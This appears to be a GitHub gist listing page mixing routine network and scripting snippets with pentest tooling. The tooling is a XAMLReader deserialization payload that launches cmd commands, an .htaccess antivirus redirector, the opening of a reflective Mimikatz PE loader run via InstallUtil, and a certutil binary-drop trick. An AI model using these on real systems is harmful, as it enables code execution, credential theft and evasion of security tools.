Skip to content

Instantly share code, notes, and snippets.

@Meatballs1
Meatballs1 / gist:3f6e7b6a02445dc010bb166cadf427c9
Created July 21, 2023 15:57
networkd-dispatcher wifi/ethernet switchover
##
#/etc/networkd-dispatcher/no-carrier.d/50-ifdown-hooks
##
#!/bin/bash
enable_disable_wifi ()
{
if [ "$IFACE" == "enp0s25" ]; then
echo "$(date) - $IFACE down wifi unblocked"
rfkill unblock wifi
@Meatballs1
Meatballs1 / README.md
Created April 1, 2021 00:48
Sky/NowTV DD-WRT WAN Authentication DHCP Option 61 MER (not PPPOE)

Setup > WAN Setup > WAN Connection Type: DHCP Authentication

DHCP Client ID: 686940736b7964736c7c6162636465666768 DHCP IPV6 Client ID: 686940736b7964736c7c6162636465666768

IPV6 > IPv6Support > IPv6 Type : DHCPv6 with Prefix Delegation

@Meatballs1
Meatballs1 / Payload.cs
Created November 4, 2020 11:11
XAMLReader.Load(Stream) payload avoiding Root Element Is Missing exception
String cmd = "ping 127.0.0.1";
String payload = @"<ResourceDictionary xmlns:System=""clr-namespace:System;assembly=mscorlib"" xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:sd=""clr-namespace:System.Diagnostics;assembly=System"" xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""><ObjectDataProvider ObjectType=""sd:Process"" MethodName=""Start"" x:Key=""LaunchCalc""><ObjectDataProvider.MethodParameters><System:String>cmd</System:String><System:String>/c """ + cmd + @"""</System:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>";
@Meatballs1
Meatballs1 / gist:998d63ab12ce503bfc5dfb3e70ed56ac
Last active April 15, 2020 23:26
Nintendo DS WiFi Settings DD-WRT Error 51099
Wireless > Advanced Settings > Bluetooth Coexistence Mode - Set to Disabled
Use DNS server:
https://github.com/barronwaffles/dwc_network_server_emulator/wiki
@Meatballs1
Meatballs1 / .htaccess
Last active August 16, 2024 03:09 — forked from curi0usJack/.htaccess
Drop into your apache working directory to instantly redirect most AV crap elsewhere.
Define REDIR_TARGET example.com
RewriteEngine On
RewriteOptions Inherit
# Uncomment the below line for verbose logging, including seeing which rule matched.
#LogLevel alert rewrite:trace5
# BURN AV BURN
@Meatballs1
Meatballs1 / anonymize.cypher
Created August 2, 2017 09:37
Anonymize user names in Neo4j APOC
MATCH (u:user)
WITH u, apoc.text.join(apoc.coll.randomItems(split("abcdefghijklmnopqrstuvwxyz0123456789",""), 12, true),"") as identifier
SET u.name=identifier
RETURN COUNT(u)
@Meatballs1
Meatballs1 / gist:dcd0a6017fbf3b4fe56861ac54e7cc1f
Created August 2, 2017 09:26
Generate a random identifier with Neo4j Apoc
RETURN apoc.text.join(apoc.coll.randomItems(split("abcdefghijklmnopqrstuvwxyz0123456789",""), 12, true),"")
@Meatballs1
Meatballs1 / gzip.ps1
Created April 21, 2016 13:42
Simple Powershell Compression
$path = "C:\data\sysvol_results.csv"
$inStream = new-object System.IO.FileStream($path, [System.IO.FileMode]::Open);
$outStream = new-object System.IO.FileStream("$($path).gz", [System.IO.FileMode]::CreateNew);
$compressionStream = new-object System.IO.Compression.GZipStream($outStream, [System.IO.Compression.CompressionMode]::Compress);
$inStream.CopyTo($compressionStream);
$inStream.Close();
$compressionStream.Close();
$outStream.Close();
@Meatballs1
Meatballs1 / PELoader.cs
Last active October 3, 2022 17:48
Reflective PE Injection Mimikatz - Via InstallUtil.exe
using System;
using System.IO;
using System.Text;
using System.Collections.Generic;
using System.Configuration.Install;
using System.Runtime.InteropServices;
/*
@Meatballs1
Meatballs1 / drop_binary.bat
Last active August 29, 2015 14:26 — forked from mattifestation/drop_binary.bat
Drop binary data from the command line w/o needing PowerShell
echo -----BEGIN CERTIFICATE----- > encoded.txt
echo Just Base64 encode your binary data
echo TVoAAA== >> encoded.txt
echo -----END CERTIFICATE----- >> encoded.txt
certutil -decode encoded.txt decoded.bin